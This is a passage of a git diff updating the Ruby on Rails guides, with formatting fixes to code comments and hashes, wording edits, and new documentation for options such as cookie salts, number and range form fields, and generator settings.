------------- @@ -1022,7 +1042,7 @@ Or, in English: "return all posts that have a comment made by a guest." #### Joining Nested Associations (Multiple Level) ```ruby -Category.joins(posts: [{comments: :guest}, :tags]) +Category.joins(posts: [{ comments: :guest }, :tags]) ``` This produces: @@ -1048,7 +1068,7 @@ An alternative and cleaner syntax is to nest the hash conditions: ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where(orders: {created_at: time_range}) +Client.joins(:orders).where(orders: { created_at: time_range }) ``` This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. @@ -1109,7 +1129,7 @@ This loads all the posts and the associated category and comments for each post. #### Nested Associations Hash ```ruby -Category.includes(posts: [{comments: :guest}, :tags]).find(1) +Category.includes(posts: [{ comments: :guest }, :tags]).find(1) ``` This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association. @@ -1301,7 +1321,7 @@ especially useful if a `default_scope` is specified in the model and should not applied for this particular query. ```ruby -Client.unscoped.all +Client.unscoped.load ``` This method removes all scoping and will do a normal query on the table. @@ -1610,7 +1630,7 @@ Client.where(first_name: 'Ryan').count You can also use various finder methods on a relation for performing complex calculations: ```ruby -Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count +Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count ``` Which will execute: diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md index 0df52a655f..efa826e8df 100644 --- a/guides/source/active_record_validations.md +++ b/guides/source/active_record_validations.md @@ -175,28 +175,28 @@ class Person < ActiveRecord::Base end >> p = Person.new -#=> #<Person id: nil, name: nil> +# => #<Person id: nil, name: nil> >> p.errors.messages -#=> {} +# => {} >> p.valid? -#=> false +# => false >> p.errors.messages -#=> {name:["can't be blank"]} +# => {name:["can't be blank"]} >> p = Person.create -#=> #<Person id: nil, name: nil> +# => #<Person id: nil, name: nil> >> p.errors.messages -#=> {name:["can't be blank"]} +# => {name:["can't be blank"]} >> p.save -#=> false +# => false >> p.save! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank >> Person.create! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank ``` `invalid?` is simply the inverse of `valid?`. It triggers your validations, @@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object. ```ruby class Account < ActiveRecord::Base validates :subdomain, exclusion: { in: %w(www us ca jp), - message: "Subdomain %{value} is reserved." } + message: "%{value} is reserved." } end ``` diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md index d3f49b19fa..a83aee5d43 100644 --- a/guides/source/active_support_core_extensions.md +++ b/guides/source/active_support_core_extensions.md @@ -37,9 +37,10 @@ For every single method defined as a core extension this guide has a note that s NOTE: Defined in `active_support/core_ext/object/blank.rb`. -That means that this single call is enough: +That means that you can require it like this: ```ruby +require 'active_support' require 'active_support/core_ext/object/blank' ``` @@ -52,6 +53,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb, Thus, to load all extensions to `Object` (including `blank?`): ```ruby +require 'active_support' require 'active_support/core_ext/object' ``` @@ -60,6 +62,7 @@ require 'active_support/core_ext/object' You may prefer just to load all core extensions, there is a file for that: ```ruby +require 'active_support' require 'active_support/core_ext' ``` @@ -176,14 +179,14 @@ duplicate = array.dup duplicate.push 'another-string' # the object was duplicated, so the element was added only to the duplicate -array #=> ['string'] -duplicate #=> ['string', 'another-string'] +array # => ['string'] +duplicate # => ['string', 'another-string'] duplicate.first.gsub!('string', 'foo') # first element was not duplicated, it will be changed in both arrays -array #=> ['foo'] -duplicate #=> ['foo', 'another-string'] +array # => ['foo'] +duplicate # => ['foo', 'another-string'] ``` As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object. @@ -196,8 +199,8 @@ duplicate = array.deep_dup duplicate.first.gsub!('string', 'foo') -array #=> ['string'] -duplicate #=> ['foo'] +array # => ['string'] +duplicate # => ['foo'] ``` If the object is not duplicable, `deep_dup` will just return it: @@ -421,11 +424,9 @@ NOTE: Defined in `active_support/core_ext/object/with_options.rb`. ### JSON support -Active Support provides a better implementation of `to_json` than the +json+ gem ordinarily provides for Ruby objects. This is because some classes, like +Hash+ and +OrderedHash+ needs special handling in order to provide a proper JSON representation. - -Active Support also provides an implementation of `as_json` for the <tt>Process::Status</tt> class. +Active Support provides a better implementation of `to_json` than the +json+ gem ordinarily provides for Ruby objects. This is because some classes, like +Hash+, +OrderedHash+, and +Process::Status+ need special handling in order to provide a proper JSON representation. -NOTE: Defined in `active_support/core_ext/object/to_json.rb`. +NOTE: Defined in `active_support/core_ext/object/json.rb`. ### Instance Variables @@ -623,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. #### Module Attributes -The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes). +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). For example, the dependencies mechanism uses them: @@ -734,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y] X::Y.local_constants # => [:Y1, :X1] ``` -The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.) +The names are returned as symbols. NOTE: Defined in `active_support/core_ext/module/introspection.rb`. @@ -887,7 +888,7 @@ class User < ActiveRecord::Base end ``` -With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: +With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: ```ruby class User < ActiveRecord::Base @@ -1092,6 +1093,15 @@ end we can access `field_error_proc` in views. +Also, you can pass a block to `cattr_*` to set up the attribute with a default value: + +```ruby +class MysqlAdapter < AbstractAdapter + # Generates class methods to access @@emulate_booleans with default value of true. + cattr_accessor(:emulate_booleans) { true } +end +``` + The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. ```ruby @@ -1109,7 +1119,7 @@ end A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. -NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`. +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2. ### Subclasses & Descendants @@ -1544,7 +1554,7 @@ ActiveSupport::Inflector.inflections do |inflect| inflect.acronym 'SSL' end -"SSLError".underscore.camelize #=> "SSLError" +"SSLError".underscore.camelize # => "SSLError" ``` `camelize` is aliased to `camelcase`. @@ -1774,6 +1784,12 @@ The method `humanize` gives you a sensible name for display out of an attribute "comments_count".humanize # => "Comments count" ``` +The capitalization of the first word can be turned off by setting the optional parameter `capitalize` to false: + +```ruby +"author_id".humanize(capitalize: false) # => "author" +``` + The helper method `full_messages` uses `humanize` as a fallback to include attribute names: ```ruby @@ -2269,8 +2285,6 @@ The defaults for these options can be localized, their keys are: | `:words_connector` | `support.array.words_connector` | | `:last_word_connector` | `support.array.last_word_connector` | -Options `:connector` and `:skip_last_comma` are deprecated. - NOTE: Defined in `active_support/core_ext/array/conversions.rb`. #### `to_formatted_s` diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md index 969596f470..6c77a40d42 100644 --- a/guides/source/active_support_instrumentation.md +++ b/guides/source/active_support_instrumentation.md @@ -396,6 +396,15 @@ INFO. Cache stores my add their own keys } ``` +Railties +-------- + +### load_config_initializer.railties + +| Key | Value | +| -------------- | ----------------------------------------------------- | +| `:initializer` | Path to loaded initializer from `config/initializers` | + Rails ----- diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md index 98ead9570f..ccb51ce73c 100644 --- a/guides/source/api_documentation_guidelines.md +++ b/guides/source/api_documentation_guidelines.md @@ -42,6 +42,14 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". +When using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of: + +* he or she... use they. +* him or her... use them. +* his or her... use their. +* his or hers... use theirs. +* himself or herself... use themselves. + English ------- diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md index 72aff1e0dd..39448e92d5 100644 --- a/guides/source/asset_pipeline.md +++ b/guides/source/asset_pipeline.md @@ -151,8 +151,7 @@ environments. You can enable or disable it in your configuration through the More reading: * [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html) -* [Revving Filenames: don't use -* querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) +* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) How to Use the Asset Pipeline @@ -405,11 +404,10 @@ JavaScript and stylesheet. * `image-url("rails.png")` becomes `url(/assets/rails.png)` * `image-path("rails.png")` becomes `"/assets/rails.png"`. -The more generic form can also be used but the asset path and class must both be -specified: +The more generic form can also be used: -* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)` -* `asset-path("rails.png", image)` becomes `"/assets/rails.png"` +* `asset-url("rails.png")` becomes `url(/assets/rails.png)` +* `asset-path("rails.png")` becomes `"/assets/rails.png"` #### JavaScript/CoffeeScript and ERB @@ -503,7 +501,11 @@ NOTE. If you want to use multiple Sass files, you should generally use the [Sass rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the -document they were defined in. +document they were defined in. You can do file globbing as well using +`@import "*"`, and `@import "**/*"` to add the whole tree equivalent to how +`require_tree` works. Check the [sass-rails +documentation](https://github.com/rails/sass-rails#features) for more info and +important caveats. You can have as many manifest files as you need. For example, the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the @@ -1040,17 +1042,22 @@ Making Your Library or Gem a Pre-Processor As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic interface to different templating engines, your gem should just implement the Tilt template protocol. Normally, you would subclass `Tilt::Template` and -reimplement `evaluate` method to return final output. Template source is stored -at `@code`. Have a look at +reimplement the `prepare` method, which initializes your template, and the +`evaluate` method, which returns the processed source. The original source is +stored in `data`. Have a look at [`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb) sources to learn more. ```ruby module BangBang class Template < ::Tilt::Template + def prepare + # Do any initialization here + end + # Adds a "!" to original template. def evaluate(scope, locals, &block) - "#{@code}!" + "#{data}!" end end end diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md index 91b268d766..9867d2dc3f 100644 --- a/guides/source/association_basics.md +++ b/guides/source/association_basics.md @@ -718,7 +718,7 @@ The `belongs_to` association creates a one-to-one match with another model. In d #### Methods Added by `belongs_to` -When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association: +When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` @@ -864,8 +864,12 @@ end Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. ##### `:dependent` +If you set the `:dependent` option to: -If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects. +* `:destroy`, when the object is destroyed, `destroy` will be called on its +associated objects. +* `:delete`, when the object is destroyed, all its associated objects will be +deleted directly from the database without calling their `destroy` method. WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. @@ -1022,7 +1026,7 @@ The `has_one` association creates a one-to-one match with another model. In data #### Methods Added by `has_one` -When you declare a `has_one` association, the declaring class automatically gains four methods related to the association: +When you declare a `has_one` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` @@ -1140,10 +1144,10 @@ Controls what happens to the associated object when its owner is destroyed: * `:restrict_with_exception` causes an exception to be raised if there is an associated record * `:restrict_with_error` causes an error to be added to the owner if there is an associated object -It's necessary not to set or leave `:nullify` option for those associations -that have `NOT NULL` database constraints. If you don't set `dependent` to -destroy such associations you won't be able to change the associated object -because initial associated object foreign key will be set to unallowed `NULL` +It's necessary not to set or leave `:nullify` option for those associations +that have `NOT NULL` database constraints. If you don't set `dependent` to +destroy such associations you won't be able to change the associated object +because initial associated object foreign key will be set to unallowed `NULL` value. ##### `:foreign_key` @@ -1289,7 +1293,7 @@ The `has_many` association creates a one-to-many relationship with another model #### Methods Added by `has_many` -When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` @@ -1778,7 +1782,7 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi #### Methods Added by `has_and_belongs_to_many` -When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md index b0ab88bf59..0d45e5fb28 100644 --- a/guides/source/caching_with_rails.md +++ b/guides/source/caching_with_rails.md @@ -189,7 +189,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. -* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment. +* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. * `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. diff --git a/guides/source/command_line.md b/guides/source/command_line.md index 1b0b93c3bc..3b80faec7f 100644 --- a/guides/source/command_line.md +++ b/guides/source/command_line.md @@ -56,8 +56,6 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends). - With no further work, `rails server` will run our new shiny Rails app: ```bash diff --git a/guides/source/configuring.md b/guides/source/configuring.md index b14f8b6e7f..59c2594422 100644 --- a/guides/source/configuring.md +++ b/guides/source/configuring.md @@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. +* `config.beginning_of_week` sets the default beginning of week for the +application. Accepts a valid week day symbol (e.g. `:monday`). + * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. * `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. @@ -129,8 +132,6 @@ numbers. New applications filter out passwords by adding the following `config.f * `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. -* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`). - ### Configuring Assets * `config.assets.enabled` a flag that controls whether the asset @@ -261,6 +262,8 @@ config.middleware.delete "Rack::MethodOverride" * `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. +* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. + * `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. * `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails. @@ -327,6 +330,18 @@ The schema dumper adds one additional configuration option: * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. +* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults +to `'http authentication'`. + +* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. +Defaults to `'signed cookie'`. + +* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt +value. Defaults to `'encrypted cookie'`. + +* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed +encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. + * `ActionDispatch::Callbacks.before` takes a block of code to run before the request. * `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. @@ -773,7 +788,7 @@ error similar to given below will be thrown. ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it: ``` -If you get the above error, you might want to increase the size of connection +If you get the above error, you might want to increase the size of connection pool by incrementing the `pool` option in `database.yml` NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections. diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md index b2b08c82c6..814237ba22 100644 --- a/guides/source/contributing_to_ruby_on_rails.md +++ b/guides/source/contributing_to_ruby_on_rails.md @@ -55,7 +55,7 @@ can expect it to be marked "invalid" as soon as it's reviewed. Sometimes, the line between 'bug' and 'feature' is a hard one to draw. Generally, a feature is anything that adds new behavior, while a bug is -anything that fixes already existing behavior that is mis-behaving. Sometimes, +anything that fixes already existing behavior that is misbehaving. Sometimes, the core team will have to make a judgement call. That said, the distinction generally just affects which release your patch will get in to; we love feature submissions! They just won't get backported to maintenance branches. @@ -430,13 +430,18 @@ $ git push origin branch_name ### Issue a Pull Request -Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner. +Navigate to the Rails repository you just pushed to (e.g. +https://github.com/your-user-name/rails) and click on "Pull Requests" seen in +the right panel. On the next page, press "New pull request" in the upper right +hand corner. -Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range". +Click on "Edit", if you need to change the branches being compared (it compares +"master" by default) and press "Click to create a pull request for this +comparison". -Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes. - -Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission. +Ensure the changesets you introduced are included. Fill in some details about +your potential patch including a meaningful title. When finished, press "Send +pull request". The Rails core team will be notified about your submission. ### Get some Feedback diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml index 1bf9ff95e1..ae47744e31 100644 --- a/guides/source/documents.yaml +++ b/guides/source/documents.yaml @@ -165,6 +165,11 @@ work_in_progress: true description: This guide helps in upgrading applications to latest Ruby on Rails versions. - + name: Ruby on Rails 4.1 Release Notes + url: 4_1_release_notes.html + work_in_progress: true + description: Release notes for Rails 4.1. + - name: Ruby on Rails 4.0 Release Notes url: 4_0_release_notes.html description: Release notes for Rails 4.0. diff --git a/guides/source/engines.md b/guides/source/engines.md index c71b728ef7..2266b1fd7f 100644 --- a/guides/source/engines.md +++ b/guides/source/engines.md @@ -253,7 +253,7 @@ The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced: ```ruby module Blorgh - class PostsHelper + module PostsHelper ... end end @@ -875,7 +875,7 @@ end When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory. -In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine. +When the application is asked to render the view for `Blorgh::PostsController`'s index action, it will look the path `app/views/blorgh/posts/index.html.erb`, first within the application. If it cannot find it, it will look inside the engine. You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output. diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md index 4b6d8a93f0..e8279b9c0c 100644 --- a/guides/source/form_helpers.md +++ b/guides/source/form_helpers.md @@ -154,7 +154,10 @@ make it easier for users to click the inputs. ### Other Helpers of Interest -Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields: +Other form controls worth mentioning are textareas, password fields, +hidden fields, search fields, telephone fields, date fields, time fields, +color fields, datetime fields, datetime-local fields, month fields, week fields, +URL fields, email fields, number fields and range fields: ```erb <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> @@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel <%= email_field(:user, :address) %> <%= color_field(:user, :favorite_color) %> <%= time_field(:task, :started_at) %> +<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> +<%= range_field(:product, :discount, in: 1..100) %> ``` Output: @@ -190,11 +195,20 @@ Output: <input id="user_address" name="user[address]" type="email" /> <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> <input id="task_started_at" name="task[started_at]" type="time" /> +<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" /> +<input id="product_discount" max="100" min="1" name="product[discount]" type="range" /> ``` Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features. +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, +month, week, URL, email, number and range inputs are HTML5 controls. +If you require your app to have a consistent experience in older browsers, +you will need an HTML5 polyfill (provided by CSS and/or JavaScript). +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are +[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), +which provide a simple way to add functionality based on the presence of +detected HTML5 features. TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). @@ -845,7 +859,7 @@ end This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. -### Building the Form +### Nested Forms The following form allows a user to create a `Person` and its associated addresses. @@ -868,16 +882,18 @@ The following form allows a user to create a `Person` and its associated address ``` -When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. ```ruby def new @person = Person.new - 3.times { @person.addresses.build} + 2.times { @person.addresses.build} end ``` -`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like +The `fields_for` yields a form builder. The parameters' name will be what +`accepts_nested_attributes_for` expects. For example when creating a user with +2 addresses, the submitted parameters would look like: ```ruby { @@ -899,7 +915,7 @@ end The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. -If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`. ### The Controller @@ -930,7 +946,9 @@ class Person < ActiveRecord::Base end ``` -If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: +If the hash of attributes for an object contains the key `_destroy` with a value +of `1` or `true` then the object will be destroyed. This form allows users to +remove addresses: ```erb <%= form_for @person do |f| %> @@ -938,7 +956,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value <ul> <%= f.fields_for :addresses do |addresses_form| %> <li> - <%= check_box :_destroy%> + <%= addresses_form.check_box :_destroy%> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> ... diff --git a/guides/source/generators.md b/guides/source/generators.md index e06b13deba..e9c8ef0225 100644 --- a/guides/source/generators.md +++ b/guides/source/generators.md @@ -207,7 +207,7 @@ $ rails generate scaffold User name:string Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. -Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: +Our first customization on the workflow will be to stop generating stylesheets, javascripts and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: ```ruby config.generators do |g| @@ -215,10 +215,11 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` -If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. +If we generate another resource with the scaffold generator, we can see that stylesheets, javascripts and fixtures are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: @@ -270,6 +271,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false g.helper :my_helper end ``` @@ -334,6 +336,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` @@ -352,6 +355,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :shoulda, fixture: false g.stylesheets false + g.javascripts false # Add a fallback! g.fallbacks[:shoulda] = :test_unit diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md index 2f322d15da..b57441b1c3 100644 --- a/guides/source/getting_started.md +++ b/guides/source/getting_started.md @@ -1268,6 +1268,7 @@ together. ```html+erb <h1>Listing Posts</h1> +<%= link_to 'New post', new_post_path %> <table> <tr> <th>Title</th> diff --git a/guides/source/i18n.md b/guides/source/i18n.md index 33daa79133..6f79b3ddd7 100644 --- a/guides/source/i18n.md +++ b/guides/source/i18n.md @@ -101,7 +101,7 @@ This means, that in the `:en` locale, the key _hello_ will map to the _Hello wor The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations. -NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it. +NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it. The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -492,12 +492,14 @@ Overview of the I18n API Features You should have good understanding of using 